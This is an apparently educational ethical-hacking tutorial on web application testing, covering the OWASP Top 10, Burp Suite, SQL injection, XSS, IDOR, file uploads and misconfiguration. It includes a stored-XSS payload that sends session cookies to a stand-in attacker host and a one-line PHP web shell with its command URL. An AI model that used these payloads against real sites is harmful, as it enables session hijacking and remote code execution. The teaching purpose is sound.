Ethical Hacking Web Application Hacking

Web applications are the most targeted category of systems in modern penetration testing. Every company with a website, a customer portal, an online store, or a web-based internal tool has a web application attack surface. Web apps are accessible to anyone on the internet, run complex code, process sensitive data, and are frequently built with security as an afterthought.

This topic covers how web applications work, the most exploited vulnerability categories, and the tools ethical hackers use to test them.

How Web Applications Work

A web application is software that runs on a web server and is accessed through a browser. When you click a button on a website, your browser sends an HTTP request to the server. The server processes the request, queries a database if needed, generates a response, and sends it back. Your browser renders the response as a visible page.

Every part of this chain is a potential attack target:

• The request — parameters in URLs, form fields, cookies, and headers that the attacker can manipulate
• The server-side code — PHP, Python, Java, or Node.js code that processes input unsafely
• The database — SQL queries built from user-controlled input
• The response — HTML and JavaScript returned to the browser, which may execute attacker-injected code

The OWASP Top 10

The Open Web Application Security Project (OWASP) publishes the OWASP Top 10 — a regularly updated list of the ten most critical web application security risks. Security teams use it as a baseline standard, and ethical hackers use it as a structured checklist during web application tests.

The current top categories include: Broken Access Control, Cryptographic Failures, Injection, Insecure Design, Security Misconfiguration, Vulnerable and Outdated Components, Identification and Authentication Failures, Software and Data Integrity Failures, Security Logging and Monitoring Failures, and Server-Side Request Forgery.

Burp Suite: The Web Hacker's Primary Tool

Burp Suite is the standard tool for web application penetration testing. It acts as an intercepting proxy — it sits between the browser and the server, capturing every HTTP request and response. The ethical hacker can then read, modify, replay, or automate those requests to test how the application responds to unexpected input.

Key Burp Suite Components

• Proxy — Intercepts HTTP/HTTPS traffic between browser and server. Pause a request mid-flight, edit a parameter, then forward it.
• Repeater — Send the same request multiple times with small changes. Ideal for manually testing SQL injection or parameter manipulation.
• Intruder — Automate attacks by cycling through payloads. Run a wordlist attack against a login form or test every parameter for injection.
• Scanner (Pro version) — Automated vulnerability scanner that identifies injection points, XSS, and other issues.
• Decoder — Encode and decode base64, URL encoding, HTML entities, and other common encoding formats used in web applications.

SQL Injection: Deep Dive

SQL injection remains one of the most critical and widespread web vulnerabilities. Applications that build SQL queries by concatenating user input without sanitization are vulnerable.

Types of SQL Injection

In-Band SQL Injection (Classic)

The attacker sees the result of the injected query directly in the web page response. This is the most straightforward type. In-band includes error-based injection (the database error message reveals database structure) and union-based injection (a UNION statement retrieves data from other tables and displays it in the page).

Blind SQL Injection

The application does not show database errors or query results in the response. The attacker must infer information by asking the database true/false questions and observing the application's behavior. If injecting "AND 1=1" returns a normal page and "AND 1=2" returns an empty page, the parameter is injectable — the attacker can then extract data one bit at a time.

Out-of-Band SQL Injection

When in-band and blind methods are too slow or blocked, the attacker uses database features to send data to an external server they control (via DNS queries or HTTP requests). Slower but bypasses some restrictions.

SQL Injection Test Payloads

Cross-Site Scripting (XSS): Deep Dive

XSS occurs when an application includes user-supplied data in its output without proper sanitization, allowing the attacker to inject JavaScript that runs in other users' browsers.

Reflected XSS

The malicious script is embedded in a URL. When the victim clicks the link, the server reflects the script back in the response and the browser executes it. The attack does not persist — it only executes for whoever clicks the crafted link. Common delivery mechanism: phishing emails containing the malicious URL.

Stored XSS

The malicious script is saved to the server's database — in a comment, profile field, or forum post. Every user who views that content executes the attacker's script automatically. Stored XSS is more dangerous than reflected XSS because it requires no interaction beyond visiting a page.

Stored XSS Attack Scenario

A user posts this as a product review on a shopping site:

<script>document.location='http://attacker.com/steal?c='+document.cookie;</script>

The site stores it in the database without sanitization. Every customer who visits that product page — including administrators — silently sends their session cookies to the attacker. The attacker uses these cookies to log in as each victim without needing their password.

DOM-Based XSS

DOM-based XSS occurs entirely in the browser. The server response itself may be safe, but JavaScript on the page reads attacker-controlled data (from the URL fragment or localStorage) and writes it unsafely to the DOM. No server-side change is needed — the browser's own script creates the vulnerability.

Insecure Direct Object References (IDOR)

IDOR is a broken access control vulnerability. An application uses user-controlled input to directly reference internal objects — database records, files, or accounts — without verifying that the requesting user has permission to access them.

IDOR Example

After logging in, a user sees their account details at:

https://example.com/account?id=1042

The attacker changes id=1042 to id=1041, id=1043, and so on. If the application does not verify that the logged-in user owns the requested account, it returns every other user's account details. The attacker can read names, addresses, and payment information for every account in the database by iterating through IDs.

IDOR is consistently one of the most commonly found and highest-impact vulnerabilities in bug bounty programs.

File Upload Vulnerabilities

Many web applications allow users to upload files — profile pictures, documents, attachments. If the application does not properly validate uploaded files, an attacker can upload a web shell — a script that executes server-side commands through the browser.

Web Shell Attack Flow

1. The attacker creates a PHP file named "photo.php" containing: <?php system($_GET['cmd']); ?>
2. The attacker uploads it via the file upload feature, bypassing any weak extension checks.
3. The attacker browses to: https://example.com/uploads/photo.php?cmd=whoami
4. The server executes whoami and returns the output in the browser — the attacker now has remote code execution on the server.

Security Misconfiguration

Security misconfiguration is the most common finding in web application tests. It includes:

• Default admin credentials never changed (admin/admin, admin/password)
• Directory listing enabled — browsing to /uploads/ shows all files in the folder
• Detailed error messages revealing database names, file paths, and code snippets
• Unnecessary HTTP methods enabled (PUT, DELETE, TRACE)
• Outdated software with known CVEs running in production
• Admin panels accessible from the internet without IP restriction

HTTP Request Smuggling

Modern web infrastructure often routes requests through multiple layers — load balancers, reverse proxies, and backend servers. HTTP request smuggling exploits disagreements between these layers about where one HTTP request ends and the next begins. By crafting ambiguous requests, an attacker can "smuggle" a hidden request that the proxy ignores but the backend server processes — bypassing security controls or hijacking other users' requests.

Web Application Hacking Workflow

A structured web application penetration test follows these steps:

1. Map the application — Spider all pages, identify all input fields, forms, parameters, and API endpoints.
2. Analyze authentication — Test login forms for SQL injection, brute force, account enumeration, and password reset flaws.
3. Test access controls — Check IDOR by modifying object references; test whether low-privilege users can access admin functions.
4. Test every input — Submit SQL injection, XSS, and command injection payloads to every parameter.
5. Check for misconfigurations — Look for default credentials, directory listings, and verbose error messages.
6. Test file upload — Attempt to upload executable scripts, bypass extension filters, and test file type validation.
7. Review client-side code — Analyze JavaScript for hardcoded credentials, sensitive API keys, and DOM-based XSS.

Key Points

• Web applications are the most commonly tested and most commonly breached category of systems.
• Burp Suite intercepts HTTP traffic and provides the core toolset for manual web application testing.
• SQL injection manipulates database queries; XSS injects scripts into pages seen by other users; IDOR bypasses access controls on object references.
• File upload vulnerabilities can allow an attacker to execute server-side code via a web shell.
• Security misconfiguration is the most common finding — default credentials, directory listings, and verbose errors are endemic across real-world applications.